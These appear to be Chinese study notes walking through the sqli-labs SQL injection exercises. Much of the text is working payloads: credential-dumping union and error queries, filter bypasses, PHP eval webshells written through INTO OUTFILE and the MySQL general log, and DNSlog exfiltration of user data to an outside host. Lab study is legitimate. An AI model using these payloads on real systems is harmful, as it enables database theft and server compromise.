参考:https://www.yuque.com/ni4n/blogs/mm9i2n
0.注释方法
(1)#
(2)--+
(3);%00
(4)以上三个都不行就不注释,直接闭合后面的,比如?id=1' or 1='1
(Less-23)
1.确认闭合方法,注释后面(–+)
(1) 单引号:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,10";
闭合方法:id= -1' --+
闭合后语句:SELECT * FROM users WHERE id='-1' -- ' LIMIT 0,10
(2) 无闭合:$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
闭合方法:id= -1 --+
闭合后语句:SELECT * FROM users WHERE id=-1 -- LIMIT 0,10
(3) 括号+单引号:SELECT * FROM users WHERE id=('$id') LIMIT 0,1
闭合方法:id= -1') --+
闭合后语句:SELECT * FROM users WHERE id=('-1') -- ') LIMIT 0,10
(4) 括号+双引号:SELECT * FROM users WHERE id=("$id") LIMIT 0,1
闭合方法:id= -1") --+
闭合后语句:SELECT * FROM users WHERE id=("-1") -- ) LIMIT 0,10
(5) 双括号+单引号:SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1
闭合方法:id= -1')) --+
闭合后语句:SELECT * FROM users WHERE id=(('-1')) -- ')) LIMIT 0,10
2.用order by 数字
确定有几列(数量多于列数会报错)
比如:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,10";
加入方法方法:id= -1' order by 4--+
闭合后语句:SELECT * FROM users WHERE id='-1' order by 4 -- ' LIMIT 0,10
3.确定返回的位置(一般都是搜索数据的前n个)
4.联合查询(Less-1,Less-2,Less-3,Less-4)
先让前一个查询查不到数据,用于让出输出位(比如id=-1),然后union select 1,2,3 --+
,其中的1,2,3可以换成别的参数,比如利用group_concat(str1,str2...) --+
函数,作用是将返回字段的值进行连接,默认以逗号分隔。
(1)union select 1,2,group_concat(schema_name) from information_schema.schemata --+
查询数据库名
(2)union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security" --+
查询名为security的数据库的所有表名,其中security
需要换成要查询的数据库
(3)union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" --+
查询数据库中所有名为users的表的列名,其中users
可以换成要查询表名。如果要指定数据库,可以用union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security" --+
(4)union select 1,group_concat(username),group_concat(password) from users--+
查询所有名为users的表的列名为username和password的数据,最好指定一下数据库——union select 1,group_concat(username),group_concat(password) from security.users--+
,这其中可以换的有username
(列名) password
(列名) security
(库名) users
(表名)
(5)补充:@@datadir
:数据库路径 ,@@basedir
:MYSQL安装路径
5.报错注入(Less-5,Less-6)
一般php代码会包含这一句:print_r(mysqli_error($con));
版本限制:
参考:https://blog.csdn.net/zpy1998zpy/article/details/80631036
[1]updatexml报错
比如updatexml(,,)
三个参数分别为“值”“路径”“值”,所以前后两个可以随便填,间那个填查询语句,会返回“找不到中间的路径”
与原句用and
连接
(1)数据库名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata ),0x7e),3)--+
(但是数据有长度限制,如果数据库名长度太长,会读不完)
(2)名为security的数据库的所有表名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema="security" ),0x7e),3)--+
(3)数据库中所有名为users的表的列名:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" ),0x7e),3)--+
,指定数据库security:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and table_schema="security"),0x7e),3)--+
(4)查询所有名为users的表的列名为username数据:?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username) from users ),0x7e),3)--+
指定数据库?id=-1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users ),0x7e),3)--+
[2]update报错updatexmll(,,)
例:uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select username from (select username from users)aa limit 0,1),0x7e),3)#submit=submit
(Less-17)
6.利用outfile
将查询结果导出到文件里,或者写入一个马(Less-7)
(但前提是网站开启了一定的权限)
(1)利用联合查询查出路径信息?id=-1 union select 1,@@datadir,@@basedir
比如查出的网站路径是/var/www/html/htdocs/
(2)写一个木马进去,并标注其路径:?id=1')) union select 1,"<?php @eval($_POST['g']);?>",3 into outfile '/var/www/html/htdocs/a.php'--+
或者写入一句sql语句,让其执行:?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile '/var/www/html/htdocs/a.php'--+
(3)如果写入的是木马,就用蚁剑连接,如果写入的是查询语句,就直接访问文件,就会显示内容
7.布尔盲注(Less-8)
出现这种注入,一般是会有以下的代码:
1 | $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,2"; |
当查询到内容时,会有回显。但是查询不到内容时,没有回显(或者回显不一样)
可以先用id=1
和id=-1
测试
直接上代码:
1 | # coding=utf-8 |
解释id=1' and if(ascii(substr((select password from users limit 2,1),{i},1))>{mid},1,0) %23
句中limit i,n
的含义是,从第i行开始截取,截取n行
而%23
是井号,用来注释掉后面的
但是这是查询所有users表内password列的内容,容易和别的数据库一起查询了,所以最好写成id=1' and if(ascii(substr((select password from security.users limit 2,1),{i},1))>{mid},1,0) %23
8.时间盲注(Less-9,Less-10)
当不管查没查到数据回显都相同且的时候,布尔盲注就失效了。
这里可以用时间盲注(必须无论什么时候回显都是一样的)id=1' and if(ascii(substr((select username from users limit 0,1),{i},1))>{mid},sleep(2),0) %23
和布尔盲注方法差不多,只不过上一个是依靠字符相同时才返回查询内容,不然返回0让其没有回显。这一个是字符相同时才延时2s,然后根据脚本内置的计时器来判断是否有回显。(这里用了设置超时时间,让延迟时间超过超时时间,如果字符正确就超时了,来确定)
上脚本:
1 | # coding=utf-8 |
其中if(ascii(substr((select username from security.users limit 0,1),{i},1))>{mid},sleep(2),0) %23
中的security.users
是库名和表名(是在不行也可以只写表名,查所有叫这个名字的表),limit 0,1
的0可以换成别的数,来确定行数
四类大方法过完后,之后就是一些小方法了
9.POST传参(Less-11——Less-17)
没有差别,只是把参数改到post上就行。方法一,burpsuite抓包,数据包的最下面改包。方法二,hackbar打开post(但是这道题有一个坑,hackbar不能传submit
为形参的内容,似乎是因为会和headers里的submit冲突,所以要传这类参数的时候只能用burp,或者先用hackbar改一部分,删除submit,然后再用burp抓包,加上submit)
比如以下查询语句(Less-11):
1 | $uname=$_POST['uname']; |
虽然两个参数都要传(前面因为有isset($_POST['uname']) && isset($_POST['passwd'])
检验),但是只用改uname
这个参数的值就行,然后用--+
注释掉后面的内容
所以post传参举例:
1 | uname=1' union select group_concat(username),group_concat(password) from users--+&passwd=admin&submit=Submit |
还有一个注意点就是这里必须让select查出两个参数,多或者少都会报错The used SELECT statements have a different number of columns
,因为前一个select查了两个值,所以后一个必须也查两个值才能构成union的条件(以前的*
查了id,username,password三个值,所以要查三个(多余的用1,2,3来补充)
然后就是运用不同的闭合方法和注入方法来做题了。
10.被upload拦截导致无法查询的注入(Less-17)
这种形式的特点是:
(1)会先出现类似SELECT username, password FROM users WHERE username= $uname LIMIT 0,1
这样的查询语句,然后会出现UPDATE users SET password = '$passwd' WHERE username='$row1'
这样的更新语句
(2)当你直接用报错注入语句uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3)#submit=submit
注入时并不会返回内容,而是会返回You can't specify target table 'users' for update in FROM clause
,它的意思是说,不能先select出同一表中的某些值,再update这个表(在同一语句中),即不能依据某字段值做判断再来更新某字段的值。
遇到这种情况,可以先用一个表暂存从 users 表中取出所有数据的查询,然后再从这个暂存的表中取出数据,比如:uname=admin&passwd=1' and updatexml(1,concat(0x7e,(select username from (select username from users)aa limit 0,1),0x7e),3)#submit=submit
(注:这里的aa是必不可少的,相当于给新表取一个名字的省略版,如果删除会报错Every derived table must have its own alias
)
11.User-Agent注入(Less-18),referer注入(Less-19),cookie注入(Less-20)
虽然和注入类型关系不大,但是这道题用了sql的INSERT INTO
函数,具体为INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)
。这句话的意思是,向security
库的uagents
表中的uagent
, ip_address
, username
三列分别插入’$uagent’, ‘$IP’, $uname的数据。具体参考:https://www.w3school.com.cn/sql/sql_insert.asp
往前翻会发现$IP接收的是数据包的ip,而这个参数理论上就算改(靠代理之类的方法)也必须是固定的xxx.xxx.xxx.xxx
的格式,并不能随便改成注入语句。而$uagent接收的是数据包header的User-Agent的参数,这个参数是可以改的,然后php代码中有print_r(mysqli_error($con));
,所以直接在这里闭合后报错注入就行了。
脚本:
1 | # coding=utf-8 |
同理数据包header中的referer和cookie的参数修改了也不会有什么太大的影响,如果脚本收集了这方面信息的话也可以用于注入(Less-19)(Less-20)
Less-19脚本:
1 | # coding=utf-8 |
Less-20注入语句:uname=-1' union select 1,group_concat(username),group_concat(password) from users#
11.base4绕过(Less-21)(Less-22)
现在的cookie很少会以字符串的原形式显示,一般都会经过加密。然后再经过服务器的解密,来判断是否和机器内存储的相同。
其中比较常用的就是base64加密。
这种情况一般都会在php中发现这样的语句——
1 | $cookee = base64_decode($cookee); |
所以把原来的注入语句加个密就好了:
uname=LTEnKSB1bmlvbiBzZWxlY3QgMSxncm91cF9jb25jYXQodXNlcm5hbWUpLGdyb3VwX2NvbmNhdChwYXNzd29yZCkgZnJvbSB1c2VycyM=
12.过滤(Less-23)
这种情况就只能一个个试了。
比如(Less-23)中有代码:
1 | $reg = "/#/"; |
过滤了#
,--
,像这种单一或重复的字符没法用双写绕过了。
这里有两种绕过方法:
1.?id=1';%00
2.?id=1' or 1='1
(or要适时换成其余的内容)
第一种的注入举例为:?id=-1' union select 1,group_concat(username),group_concat(password) from users;%00
第二种的注入变形举例为:?id=-1' union select 1,group_concat(username),group_concat(password) from users where 1='1
(这里把原来的or换成了where,来使语句通顺)
13.二次注入(Less-24)
二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
简单来说,就是所有从客户端获取的数据都被做了“防注入处理”(比如字符转义),但是存到数据库后再调回使用的时候却没有这么处理的情况
针对这种情况,比如我们这次的任务是更改admin的密码以实现登录admin的目的,而设定是如果没有原密码则无法更改。
这时候可以创建一个账户名为admin'#
下面分别展示在不同状态下的这个用户名的样子
客户端输入框:admin'#
php中的sql写入语句:admin\'\#
数据库存储:admin'#
那么如果我们使用更改密码功能修改刚创建的这个账户
那么修改的代码为UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'
简化一下就是UPDATE users SET PASSWORD='$pass' where username='admin'
从而成功将admin的密码改为我们自己设的密码
14.过滤
正则表达式的修饰符:
i:不区分大小写(无法大小写绕过)
g:全局匹配(不影响注入)
m:多行匹配,在注入中会匹配已经替换过的字符串(无法双写绕过)
s:.
包含换行符\n
(无法\n
绕过)
(1)or,and 只过滤一次且替换成空(Less-25)
方法一:但凡是只过滤一次并且过滤方法是替换成空的多字符过滤,都可以用“双写注入”
如or–>oorr
and–>aandnd
order–>oorrder
方法二:
or–>||
and–>&&(如果是get传参要改成%26%26,不然url会把&符号认成参数的分隔符)
(2)空格
可以用以下替代
1 | %09 TAB键(水平) |
(3)过滤union,select等,且对大小写不敏感
union–>unIOn
(其余略)
15.宽字节注入
参考:https://my.oschina.net/u/3838688/blog/4551651
出现这种注入一般是在'
前加反斜杠,或者用addslashes()
函数和mysql_real_escape_string
函数
宽字节注入时利用mysql的一个特性,使用GBK编码的时候,会认为两个字符是一个汉字
反斜杠的GBK编码为%5C,根据GBK编码在前面加上%DE,%DF,%E0。。。都可以组成一个汉字,从而把反斜杠给‘吃’了?id=0%df' union select 1,group_concat(username),group_concat(password) from users--+
16.堆叠注入
算是sqli-labs中总结的最后一种注入方法了(后面都是测试)
这种注入一般是遇到mysqli_multi_query
函数
可以写入多条sql语句,用;
隔开,然后逐条运行
参考丰年师傅的博客https://www.yuque.com/ni4n/blogs/mm9i2n#aXpLl
(1)dnslog外带
利用load_file()函数实现DNS数据外带,然后再DNSLOG平台查看到结果,具体原理及手法可参考https://www.cnblogs.com/sunny11/p/14399420.html
但该手法要求目标是windows服务器,而且服务器开启了secure_file_priv配置所以这里只展示payload
1 | ?id=1';select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.h6xj05.dnslog.cn\\abc'))--+ |
(2)利用日志写入木马(先开启日志功能,再将查询语句写成木马保存在日志文件里,然后访问日志文件)
这一关其实有个phpinfo页面,可以看到它的绝对路径,然后开启日志写shell(这也能突破secure_file_priv限制)
1 | ?id=1';set global general_log = "ON";set global general_log_file='/var/www/html/shell.php';--+ |
此时执行每一条语句都会保存至shell.php,我们通过查询写入shell
1 | http://3b7dbc9375674bb3ad5dffded47ecc1d.app.mituan.zone/Less-38/?id=1';select '<?php eval($_POST[a]);?>'; |
然后访问根目录下的shell.php即可连接
1 | http://192.168.202.131/sqli/Less-38/?id=1';set global general_log = "ON";set global general_log_file='C:\\phpstudy_pro\\WWW\\shell.php';--+ |
然后写shell
1 | http://192.168.202.131/sqli/Less-38/?id=1';select '<?php eval($_POST[a]);?>'; |
其实也可以合并为一条语句
1 | http://192.168.202.131/sqli/Less-38/?id=1';set global general_log = "ON";set global general_log_file='C:\\phpstudy_pro\\WWW\\shell.php';select '<?php eval($_POST[a]);?>';--+ |
也可以增删改查
统计:
sqlmap能爆出的关卡:
sqlmap不能爆出的关卡:
爆破过滤的字典